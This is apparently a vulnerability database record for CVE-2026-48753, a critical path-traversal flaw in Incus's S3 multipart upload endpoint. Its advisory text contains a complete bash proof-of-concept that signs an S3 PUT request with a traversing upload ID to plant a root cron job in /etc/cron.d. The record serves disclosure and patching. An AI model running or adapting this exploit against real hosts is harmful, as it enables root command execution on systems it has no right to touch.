{"id":"CVE-2026-48753","aliases":["CVE-2026-48753","GHSA-ccjc-4qc3-jxqc","GO-2026-5802"],"related":[],"kind":"vulnerability","state":"published","title":"Incus has an arbitrary file write via path traversal in S3 multipart upload","summary":"Incus is a system container and virtual machine manager. Prior to version 7.1.0, the S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. Version 7.1.0 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Incus is a system container and virtual machine manager. Prior to version 7.1.0, the S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. Version 7.1.0 fixes the issue.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.\n\nIn `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33\n\n## PoC\n\n### Setup\n\n```\n# Expose the S3 API and create a bucket\nincus config set core.storage_buckets_address=:8555\nincus storage volume create default bucket\n#> note the credentials\n```\n\n### Exploitation\n\nThe below script was mostly generated.\n\n```\n#!/usr/bin/env bash\nset -euo pipefail\n\nif [ $# -lt 4 ]; then\n\tprintf 'usage: $0 endpoint bucket access-key secret-key\\n' >&2\n\texit 1\nfi\n\nendpoint=\"${1%/}\"\nbucket=\"${2}\"\naccess=\"${3}\"\nsecret=\"${4}\"\n\nregion=\"us-east-1\"\nservice=\"s3\"\nkey=\"anything\"\npart=\"1\"\nupload_id=\"../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d\"\ntarget=\"/etc/cron.d/part-00001\"\ncmd=\"id > /incus-s3-uploadid-bash-rce; rm -f $target\"\nbody=\"* * * * * root /bin/sh -c '$cmd'\n\"\n\nuri_path=\"$(printf '%s' \"$endpoint\" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key\"\nuri_path=\"${uri_path#/}\"\nuri_path=\"/$uri_path\"\nhost=\"$(printf '%s' \"$endpoint\" | sed -E 's#^[a-z]+://([^/]+).*#\\1#')\"\nqs=\"partNumber=$part&uploadId=${upload_id//\\//%2F}\"\nurl=\"$endpoint/$bucket/$key?$qs\"\n\namz_date=$(date -u +%Y%m%dT%H%M%SZ)\ndate_scope=\"${amz_date:0:8}\"\nscope=\"$date_scope/$region/$service/aws4_request\"\nbody_hash=$(printf '%s' \"$body\" | sha256sum | awk '{print $1}')\nsigned=\"host;x-amz-content-sha256;x-amz-date\"\n\ncanonical=\"PUT\n$uri_path\n$qs\nhost:$host\nx-amz-content-sha256:$body_hash\nx-amz-date:$amz_date\n\n$signed\n$body_hash\"\ncanonical_hash=\"$(printf '%s' \"$canonical\" | sha256sum | awk '{print $1}')\"\nstring_to_sign=\"AWS4-HMAC-SHA256\n$amz_date\n$scope\n$canonical_hash\"\n\nhmac_hex() {\n\tprintf '%s' \"${2}\" | openssl dgst -sha256 -mac HMAC -macopt \"hexkey:${1}\" -binary | xxd -p -c 256\n}\n\nk_date=$(printf 'AWS4%s' \"$secret\" | xxd -p -c 256)\nk_date=$(hmac_hex \"$k_date\" \"$date_scope\")\nk_region=$(hmac_hex \"$k_date\" \"$region\")\nk_service=$(hmac_hex \"$k_region\" \"$service\")\nk_signing=$(hmac_hex \"$k_service\" \"aws4_request\")\nsig=$(hmac_hex \"$k_signing\" \"$string_to_sign\")\nauth=\"AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}\"\n\nprintf '# body:\\n%s' \"${body}\"\n\ncurl -ksS -X PUT \"${url}\" \\\n\t-H \"Host: ${host}\" \\\n\t-H \"X-Amz-Date: ${amz_date}\" \\\n\t-H \"X-Amz-Content-Sha256: ${body_hash}\" \\\n\t-H \"Authorization: ${auth}\" \\\n\t--data-binary \"${body}\"\n```\n\n\n## Impact\n\nArbitrary file write on the host. Possibly leading to arbitrary command execution.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Incus has an arbitrary file write via path traversal in S3 multipart upload in github.com/lxc/incus","format":"markdown","source":"go"},{"lang":"es","text":"Incus es un gestor de contenedores de sistema y máquinas virtuales. Antes de la versión 7.1.0, el punto final de carga del protocolo S3 es vulnerable a salto de ruta y permite la creación de archivos arbitrarios en el anfitrión. Este comportamiento podría llevar a la ejecución arbitraria de comandos. La versión 7.1.0 corrige el problema.","source":"nvd"}],"published":"2026-06-26T18:47:25.000Z","modified":"2026-10-15T19:10:00.173Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"}],"cwes":["CWE-73"],"affected":[{"ranges":[{"version":"< 7.1.0","status":"affected"}],"vendor":"lxc","product":"incus","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"7.1.0"}],"ecosystem":"Go","package":"github.com/lxc/incus/v7/cmd/incusd","purl":"pkg:golang/github.com/lxc/incus/v7/cmd/incusd","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/lxc/incus","purl":"pkg:golang/github.com/lxc/incus","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/lxc/incus/v6","purl":"pkg:golang/github.com/lxc/incus/v6","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"7.1.0"}],"ecosystem":"Go","package":"github.com/lxc/incus/v7","purl":"pkg:golang/github.com/lxc/incus/v7","source":"go"}],"references":[{"url":"https://github.com/lxc/incus/security/advisories/GHSA-ccjc-4qc3-jxqc","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/lxc/incus","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-08-21T15:36:20.469Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-48753","url":"https://www.cve.org/CVERecord?id=CVE-2026-48753","licence":"CVE Terms of Use","modified":"2026-08-21T15:36:43.317Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-ccjc-4qc3-jxqc","url":"https://github.com/advisories/GHSA-ccjc-4qc3-jxqc","licence":"CC-BY-4.0","modified":"2026-07-07T20:41:16.704Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5802","url":"https://pkg.go.dev/vuln/GO-2026-5802","licence":"CC-BY-4.0","modified":"2026-07-07T20:30:16.997Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-48753","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48753","licence":"Public domain","modified":"2026-10-15T19:10:00.173Z"}],"updatedAt":"2026-11-25T22:59:34.784Z","epss":{"score":0.00873,"percentile":0.59968,"date":"2026-12-01T12:00:22.000Z"}}